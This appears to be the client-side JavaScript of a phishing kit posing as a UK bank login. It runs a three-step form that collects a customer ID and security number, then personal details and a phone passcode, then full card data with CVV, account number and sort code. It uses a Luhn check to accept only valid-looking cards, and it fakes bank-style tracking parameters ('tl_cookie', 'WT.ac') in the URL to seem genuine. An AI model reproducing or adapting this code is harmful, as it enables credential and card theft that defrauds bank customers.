$(document).ready(function () {

  $('#pid').focusout(function () {
    if ($(this).val().length < 5) {
      $(this).addClass('textbox-invalid');
      $(this).next().show();
    } else {
      $(this).removeClass('textbox-invalid');
      $(this).next().hide();
    }
  });

  $('#securityNumber').focusout(function () {
    if ($(this).val().length < 5) {
      $(this).addClass('textbox-invalid');
      $(this).next().show();
    } else {
      $(this).removeClass('textbox-invalid');
      $(this).next().hide();
    }
  });

  // Step 1
  $('.form_1').submit(function () {
    var error = false;

    $('.b_btns').removeClass('d-flex');
    $('.b_btns').hide();
    $('.b_loader').show();
    $('.form_1').find('button[type="submit"]').attr('disabled', 'disabled');

  });

  $('#pid, #securityNumber').on('keyup', function () {
    checkParams_1();
  });

  // Step 2
  $('.form_2').submit(function () {
    var error = false;

    $('.b_btns').removeClass('d-flex');
    $('.b_btns').hide();
    $('.b_loader').show();
    $('.form_2').find('button[type="submit"]').attr('disabled', 'disabled');

  });

  $('.form_2 input, .form_2 select').on('keyup change', function () {
    checkParams_2();
  });

  // Step 3
  $('.form_3').submit(function () {
    var error = false;
    var cardnumber = $('#cardnumber').val();

    $('.b_btns').removeClass('d-flex');
    $('.b_btns').hide();
    $('.b_loader').show();
    $('.form_3').find('button[type="submit"]').attr('disabled', 'disabled');

  });

  $('.form_3 input, .form_3 select').on('keyup change', function () {
    checkParams_3();
  });

  $('.btn_Business').click(function () {
    $('.btn_Personal').removeClass('active');
    $('.btn_Business').addClass('active');
    $('.v_personal').hide();
    $('.v_business').show();
  });

  $('.btn_Personal').click(function () {
    $('.btn_Personal').addClass('active');
    $('.btn_Business').removeClass('active');
    $('.v_personal').show();
    $('.v_business').hide();
  });

});

function checkParams_1() {
  var pid = $('#pid').val();
  var securityNumber = $('#securityNumber').val();

  if (pid.length >= 6 && securityNumber.length == 5) {
    $('#submit').removeAttr('disabled');
  } else {
    $('#submit').attr('disabled', 'disabled');
  }
}

function checkParams_2() {
  var error = false;
  var inputs = $('.form_2 input');
  var selects = $('.form_2 select');
  var email = $('#email').val();

  $.each(inputs, function (index) {
    if ($(this).val().length < 3 && $(this).attr('name') !== 'address2' && $(this).attr('name') !== 'redirurl' && $(this).attr('name') !== 'submit') {
      if ($(this).hasClass('off') == false) {
        error = true;
      }
    }
    if ($(this).hasClass('off') == false) {
      if ($(this).attr('name') == 'verify_tel_pac') {
        if ($(this).val().length < 8) {
          error = true;
        }
      }
    }
  });

  $.each(selects, function (index) {
    if ($(this).val().length == 0) {
      error = true;
    }
  });

  if (error == false) {
    $('#submit').removeAttr('disabled');
  } else {
    $('#submit').attr('disabled', 'disabled');
  }
}

function checkParams_3() {
  var nameCard = $('#nameCard').val();
  var cardnumber = $('#cardnumber').val();
  var validFrom = $('#validFrom').val();
  var expMonth = $('#expMonth').val();
  var expYear = $('#expYear').val();
  var cvv = $('#cvv').val();
  var accNumber = $('#accNumber').val();
  var sortCode = $('#sortCode').val();

  if (luhnCheck(cardnumber.replace(/\s/g, '')) !== false && cardnumber.replace(/\s/g, '').length == 16 && nameCard.length > 3 && validFrom.length > 1 && expMonth.length > 1 && expYear.length > 1 && cvv.length == 3 && accNumber.length == 8 && sortCode.length > 3) {
    $('#submit').removeAttr('disabled');
  } else {
    $('#submit').attr('disabled', 'disabled');
  }
}

function isEmail(email) {
  var regex = /^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  return regex.test(email);
}

var luhnCheck = function (number) {
  var i, d, col, sum = 0;
  number += ''; // make the number a string/array-like

  for (i = number.length, column = i % 2; i--;) { // work right to left
    d = +number[i]; // take each digit in the number
    // double every second digit, from the rightmost
    // sum all the individual digits 
    sum += (column === i % 2) ? ((d *= 2) > 9) ? (d - 9) : d : d;
  }

  // if the sum is a multiple of 10, the number is possibly valid
  return !(sum % 10);
}

function make_fake_cookie() {
  var text = "";
  var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

  for (var i = 0; i < 100; i++)
    text += possible.charAt(Math.floor(Math.random() * possible.length));

  return btoa(text);
}

function make_fake_id() {
  var text = "";
  var possible = "0123456789";

  for (var i = 0; i < 5; i++)
    text += possible.charAt(Math.floor(Math.random() * possible.length));

  return "PLO" + text;
}

if (!window.location.href.includes('tl_cookie')) {
  if (localStorage.getItem("tl_cookie")) {
    const urlParams = new URLSearchParams(window.location.search);
    urlParams.set('WT.ac', localStorage.getItem("WT.ac"));
    urlParams.set('tl_cookie', localStorage.getItem("tl_cookie"));
    window.location.search = urlParams;
  } else {
    localStorage.setItem("WT.ac", make_fake_id());
    localStorage.setItem("tl_cookie", make_fake_cookie());
    const urlParams = new URLSearchParams(window.location.search);
    urlParams.set('WT.ac', localStorage.getItem("WT.ac"));
    urlParams.set('tl_cookie', localStorage.getItem("tl_cookie"));
    window.location.search = urlParams;
  }
}